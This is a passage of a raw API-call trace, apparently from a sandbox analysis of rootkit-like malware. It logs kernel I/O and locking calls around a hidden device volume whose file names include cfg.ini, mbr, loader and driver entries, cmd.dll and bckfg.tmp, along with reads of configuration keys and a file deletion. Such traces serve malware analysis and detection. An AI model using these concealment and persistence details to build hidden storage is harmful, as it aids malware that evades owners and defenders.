FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.028] KeLeaveCriticalRegion () [0125.028] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.028] KeEnterCriticalRegion () [0125.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.028] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.028] IdePortDispatch () returned 0x103 [0125.028] KeWaitForMutexObject () returned 0x0 [0125.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.029] KeLeaveCriticalRegion () [0125.029] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.029] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.029] KeEnterCriticalRegion () [0125.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b11000 [0125.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.029] IdePortDispatch () returned 0x103 [0125.029] KeWaitForMutexObject () returned 0x0 [0125.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.029] IdePortDispatch () returned 0x103 [0125.029] KeWaitForMutexObject () returned 0x0 [0125.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.029] KeLeaveCriticalRegion () [0125.029] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.030] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.030] KeEnterCriticalRegion () [0125.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.030] KeLeaveCriticalRegion () [0125.030] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.030] KeEnterCriticalRegion () [0125.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.030] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.030] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.030] KeLeaveCriticalRegion () [0125.030] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.030] KeEnterCriticalRegion () [0125.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.030] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.030] KeLeaveCriticalRegion () [0125.030] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.030] ReleaseMutex (hMutex=0xf0) returned 1 [0125.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.030] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.030] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.030] KeEnterCriticalRegion () [0125.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.031] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.031] IdePortDispatch () returned 0x103 [0125.031] KeWaitForMutexObject () returned 0x0 [0125.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.031] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.031] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.031] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.031] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.031] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be91b0 [0125.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.031] KeLeaveCriticalRegion () [0125.031] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.031] KeEnterCriticalRegion () [0125.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.031] KeLeaveCriticalRegion () [0125.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.031] KeEnterCriticalRegion () [0125.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.031] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.031] IdePortDispatch () returned 0x103 [0125.031] KeWaitForMutexObject () returned 0x0 [0125.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.032] KeLeaveCriticalRegion () [0125.032] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.032] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.032] KeEnterCriticalRegion () [0125.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b12000 [0125.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.032] IdePortDispatch () returned 0x103 [0125.032] KeWaitForMutexObject () returned 0x0 [0125.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.032] IdePortDispatch () returned 0x103 [0125.032] KeWaitForMutexObject () returned 0x0 [0125.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.032] KeLeaveCriticalRegion () [0125.032] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.033] KeEnterCriticalRegion () [0125.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] KeLeaveCriticalRegion () [0125.033] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.033] KeEnterCriticalRegion () [0125.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.033] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] KeLeaveCriticalRegion () [0125.033] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.033] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.033] KeEnterCriticalRegion () [0125.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] ExFreePoolWithTag (P=0xfffffa8003be91b0, Tag=0x0) [0125.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] KeLeaveCriticalRegion () [0125.033] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.033] ReleaseMutex (hMutex=0xf0) returned 1 [0125.033] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.033] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.033] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.033] KeEnterCriticalRegion () [0125.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.033] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.033] IdePortDispatch () returned 0x103 [0125.034] KeWaitForMutexObject () returned 0x0 [0125.034] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.034] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.034] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.034] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.034] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.034] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.034] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.034] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.034] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.034] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.034] KeLeaveCriticalRegion () [0125.034] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.034] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.034] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.034] KeEnterCriticalRegion () [0125.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.034] IdePortDispatch () returned 0x103 [0125.034] KeWaitForMutexObject () returned 0x0 [0125.034] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.034] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.034] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.034] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.035] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.035] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.035] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.035] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.035] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.035] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.035] KeLeaveCriticalRegion () [0125.035] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.035] ReleaseMutex (hMutex=0x100) returned 1 [0125.035] Sleep (dwMilliseconds=0x2bf20) [0125.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dbb25d0, dwHighDateTime=0x1d24fa4)) [0125.042] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.042] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.042] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.042] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.042] KeEnterCriticalRegion () [0125.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.042] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.042] IdePortDispatch () returned 0x103 [0125.042] KeWaitForMutexObject () returned 0x0 [0125.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.042] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.042] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.042] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.042] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.042] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5fb0 [0125.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.042] KeLeaveCriticalRegion () [0125.042] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.042] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.042] KeEnterCriticalRegion () [0125.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.042] KeLeaveCriticalRegion () [0125.042] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.043] KeEnterCriticalRegion () [0125.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.043] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.043] IdePortDispatch () returned 0x103 [0125.043] KeWaitForMutexObject () returned 0x0 [0125.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.043] KeLeaveCriticalRegion () [0125.043] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.043] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.043] KeEnterCriticalRegion () [0125.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0125.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.043] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.043] IdePortDispatch () returned 0x103 [0125.043] KeWaitForMutexObject () returned 0x0 [0125.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.043] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.043] IdePortDispatch () returned 0x103 [0125.043] KeWaitForMutexObject () returned 0x0 [0125.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] KeLeaveCriticalRegion () [0125.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.044] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.044] KeEnterCriticalRegion () [0125.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] KeLeaveCriticalRegion () [0125.044] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.044] KeEnterCriticalRegion () [0125.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.044] 